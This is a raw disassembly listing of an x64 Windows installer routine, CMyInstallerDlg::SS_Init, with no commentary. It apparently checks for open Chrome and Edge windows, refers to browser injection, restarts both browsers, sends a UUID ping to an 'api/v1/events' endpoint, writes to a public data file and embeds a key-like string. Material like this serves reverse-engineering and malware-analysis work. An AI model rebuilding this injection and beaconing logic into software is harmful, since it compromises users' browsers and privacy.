mov edx, 1
lea rcx, [rbp + 0x3b0]
call fcn.140003e90
xor esi, esi
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140018e00
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018dfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199d5
call fcn.140014a40
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140018e3c
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018e36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199db
call fcn.140014a40
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140018e77
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018e72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199e1
call fcn.140014a40
movdqu xmmword [rbp - 0x68], xmm7
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140018ebc
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018eb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199e7
call fcn.140014a40
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x140018efd
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018ef8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199ed
call fcn.140014a40
cmp dword [0x1402d8108], 0
jne 0x140019157
cmp r14b, 1
jne 0x140019157
lea rcx, str.CMyInstallerDlg::SS_Init___g_bUpdateParam__FALSE__w_bLocalInstall__true
call fcn.1400102d0
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rsi
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x20]
call fcn.14000f720
mov rbx, qword [rsp + 0x28]
mov r8, rbx
mov rdi, qword [rsp + 0x20]
mov rdx, rdi
lea rcx, str.CMyInstallerDlg::SS_Init___w_hOpenedChrome___d__w_hOpenedEdge___d
call fcn.1400102d0
test rbx, rbx
jne 0x140018fe3
lea rcx, str.CMyInstallerDlg::SS_Init___g_bUpdateParam__FALSE__w_bLocalInstall__true__w_hOpenedEdge__NULL
call fcn.1400102d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
mov r8d, 0xa
lea rdx, [0x140288338]
lea rcx, [rbp - 0x58]
call fcn.140004b10
lea rcx, [rbp - 0x58]
call fcn.14000fa80
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x140018fe3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018fde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199f3
call fcn.140014a40
test rdi, rdi
je 0x140019092
cmp dword [rbp + reloc.OLEAUT32.dll_OleTranslateColor], 1
jne 0x140019092
xor edx, edx
mov rcx, rdi
call fcn.14000f860
call fcn.140017ab0
movaps xmm0, xmmword [str.C:Program_FilesGoogleChromeApplicationchrome.exe]
movaps xmmword [rbp + 0x3b0], xmm0
movaps xmm1, xmmword [0x140289670]
movaps xmmword [rbp + 0x3c0], xmm1
movaps xmm0, xmmword [0x140289680]
movaps xmmword [rbp + 0x3d0], xmm0
movaps xmm1, xmmword [0x140289690]
movaps xmmword [rbp + 0x3e0], xmm1
movaps xmm0, xmmword [0x1402896a0]
movaps xmmword [rbp + 0x3f0], xmm0
movaps xmm1, xmmword [0x1402896b0]
movaps xmmword [rbp + 0x400], xmm1
movsd xmm0, qword [0x1402896c0]
movsd qword [rbp + 0x410], xmm0
mov eax, dword [0x1402896c8]
mov dword [rbp + 0x418], eax
xor edx, edx
lea rcx, [rbp + 0x3b0]
call fcn.140003e90
lea rcx, str.CMyInstallerDlg::SS_Init___w_hOpenedChrome_CheckMyInjectExplorer____restart_browser__
call fcn.1400102d0
test rbx, rbx
je 0x140019157
cmp dword [rbp + reloc.OLEAUT32.dll_OleTranslateColor], 1
jne 0x140019157
mov edx, 1
mov rcx, rbx
call fcn.14000f860
call fcn.140017ab0
movaps xmm0, xmmword [str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe]
movaps xmmword [rbp + 0x3b0], xmm0
movaps xmm1, xmmword [0x140289850]
movaps xmmword [rbp + 0x3c0], xmm1
movaps xmm0, xmmword [0x140289860]
movaps xmmword [rbp + 0x3d0], xmm0
movaps xmm1, xmmword [0x140289870]
movaps xmmword [rbp + 0x3e0], xmm1
movaps xmm0, xmmword [0x140289880]
movaps xmmword [rbp + 0x3f0], xmm0
movaps xmm1, xmmword [0x140289890]
movaps xmmword [rbp + 0x400], xmm1
movaps xmm0, xmmword [0x1402898a0]
movaps xmmword [rbp + 0x410], xmm0
movsd xmm0, qword [0x1402898b0]
movsd qword [rbp + 0x420], xmm0
movzx eax, word [0x1402898b8]
mov word [rbp + 0x428], ax
mov edx, 1
lea rcx, [rbp + 0x3b0]
call fcn.140003e90
lea rcx, str.CMyInstallerDlg::SS_Init___w_hOpenedEdge_CheckMyInjectExplorer____restart_browser__
call fcn.1400102d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], rsi
xor r8d, r8d
lea rdx, [0x140287308]
lea rcx, [rbp + 0x70]
call fcn.140004c40
nop
lea rcx, [rbp + 0x160]
call fcn.140010970
nop
cmp r15b, 1
jne 0x140019687
lea rcx, [rbp + 0x90]
call fcn.1400172b0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
lea rcx, [rbp - 0x10]
call fcn.140013680
nop
lea r8, [rbp + 0x90]
cmp qword [rbp + 0xa8], 7
cmova r8, qword [rbp + 0x90]
mov rax, qword [rbp + 0xa0]
lea r9, [r8 + rax*2]
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x10]
call fcn.140013890
nop
lea rcx, [rbp - 0x10]
call fcn.140013590
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14001924a
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019245
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019a05
call fcn.140014a40
movups xmm1, xmmword [rbp - 0x58]
movups xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [rbp - 0x48]
movups xmmword [rbp + 0x80], xmm0
movq rsi, xmm0
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, rsi
cmp rax, 0x18
jb 0x1400199f9
lea r15, [rbp + 0x70]
movq rcx, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova r15, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea r14, [rsi + 0x18]
mov ebx, SafeArrayGetDim
lea rdi, [rbp - 0x78]
cmp r14, rbx
jbe 0x140019444
mov rbx, r14
or rbx, 0xf
cmp rbx, rdx
jbe 0x140019403
mov rbx, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14004d9b0
test rax, rax
je 0x140019a05
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140019440
lea rdx, str._C__C:Program_FilesGoogleChromeApplicationchrome.exe____restore_last_session
lea rcx, [rbp + 0x3b0]
call fcn.1400025c0
mov dword [rbp - 0x10], VarBstrFromDisp
mov dword [rbp - 0xc], 0x40
xor edi, edi
mov qword [rbp - 8], rdi
lea rax, [0x1402882e8]
mov qword [rbp], rax
lea rax, [0x1402874d8]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdi
mov dword [rbp + 0x20], edi
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140018c0c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x80], edi
lea rdx, [rbp - 0x80]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x140018c0c
lea rdx, str._C__C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe____restore_last_session
lea rcx, [rbp + 0x3b0]
call fcn.1400025c0
mov dword [rbp - 0x10], VarBstrFromDisp
mov dword [rbp - 0xc], 0x40
xor esi, esi
mov qword [rbp - 8], rsi
lea rax, [0x1402882e8]
mov qword [rbp], rax
lea rax, [0x1402874d8]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rsi
mov dword [rbp + 0x20], esi
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140018dbe
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x80], esi
lea rdx, [rbp - 0x80]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x140018dbe
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14001941d
xor edi, edi
jmp 0x140019440
cmp rcx, 0x1000
jb 0x140019438
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140019987
jmp 0x1400192dd
call fcn.14004d9b0
mov rdi, rax
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], rbx
movups xmm0, xmmword [str.api_v1_events_ping_uuid]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x140289a48]
movsd qword [rdi + 0x10], xmm0
lea rcx, [rdi + 0x18]
mov r8, rsi
mov rdx, r15
call fcn.14021f230
mov byte [rdi + r14], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
xor r8d, r8d
lea rdx, [0x140287308]
lea rcx, [rbp - 0x38]
call fcn.140004c40
nop
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
lea rcx, str.CMyInstallerDlg::SS_Init___w_sUUID___s
call fcn.1400102d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xor esi, esi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov r8d, 0x1d
lea rdx, str.C:UsersPublicdatainfo.dat
lea rcx, [rbp - 0x58]
call fcn.140004c40
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x58]
call fcn.140010bd0
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov r8d, 0x33
lea rdx, str.40xSYEfJuEfwHwFm8ccglYY4fxpXYJTpqTqT3Rvr1W5640aab2
lea rcx, [rbp - 0x58]
call fcn.140004c40
nop
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x50]
call fcn.140004400
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
lea rcx, [rbp - 0x10]
call fcn.140013680
nop
cmp qword [0x1402d82a0], 7
cmova r13, qword [0x1402d8288]
mov rax, qword [0x1402d8298]
lea r9, [rax*2]
add r9, r13
mov r8, r13
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x10]
call fcn.140013890
nop
lea rcx, [rbp - 0x10]
call fcn.140013590
nop
lea r9, [rbp - 0x58]
lea r8, [rbp - 0x38]
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.1400065a0
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400195fa
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400195f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400199ff
call fcn.140014a40
movdqu xmmword [rbp - 0x28], xmm7
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14001963f
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019639
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019a05
call fcn.140014a40
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 7
jbe 0x1400196c0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019680
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019a0b
call fcn.140014a40
jmp 0x1400196c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov r8d, 0x1d
lea rdx, str.C:UsersPublicdatainfo.dat
lea rcx, [rbp - 0x58]
call fcn.140004c40
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x58]
call fcn.140010bd0
cmp qword [rbp + 0xe0], 2
jbe 0x1400196cf
call fcn.140010d80
lea rcx, str.CMyInstallerDlg::SS_Init___End
call fcn.1400102d0
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14001971d
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019718
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019a11
call fcn.140014a40
movdqu xmmword [rbp + 0x170], xmm7
mov byte [rbp + 0x160], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14001976a
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019765
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019a17
call fcn.140014a40
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], SafeArrayGetDim
mov byte [rbp + 0x70], 0
test r12, r12
je 0x1400197bd
mov rdx, qword [rbp + 0x100]
sub rdx, r12
mov rax, r12
cmp rdx, 0x1000
jb 0x1400197b5
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019a1d
mov rcx, r12
call fcn.140014a40
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x1400197fe
mov rdx, qword [rbp + 0x118]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400197f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019a23
call fcn.140014a40
nop
movzx edx, byte [rsp + 0x70]
lea rcx, [rsp + 0x78]
call fcn.14001ac10
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140019850
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001984a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019a29
call fcn.140014a40
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140019891
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001988c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019a2f
call fcn.140014a40
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], SafeArrayGetDim
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1400198eb
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400198e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019a35
call fcn.140014a40
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], SafeArrayGetDim
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140019941
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001993c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001997b
call fcn.140014a40
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.14004d990
lea r11, [rsp + 0x6f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401f4404
nop
call fcn.140002720
nop
call fcn.140002720
nop
call fcn.1401f4404
int3
call fcn.1401f4404
int3
call fcn.1401f4404
int3
call fcn.1401f4404
int3
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
int3
call fcn.1401f4404
int3
call fcn.1400027c0
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
int3
call fcn.1401f4404
nop
call fcn.1400027c0
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
nop
call fcn.1401f4404
int3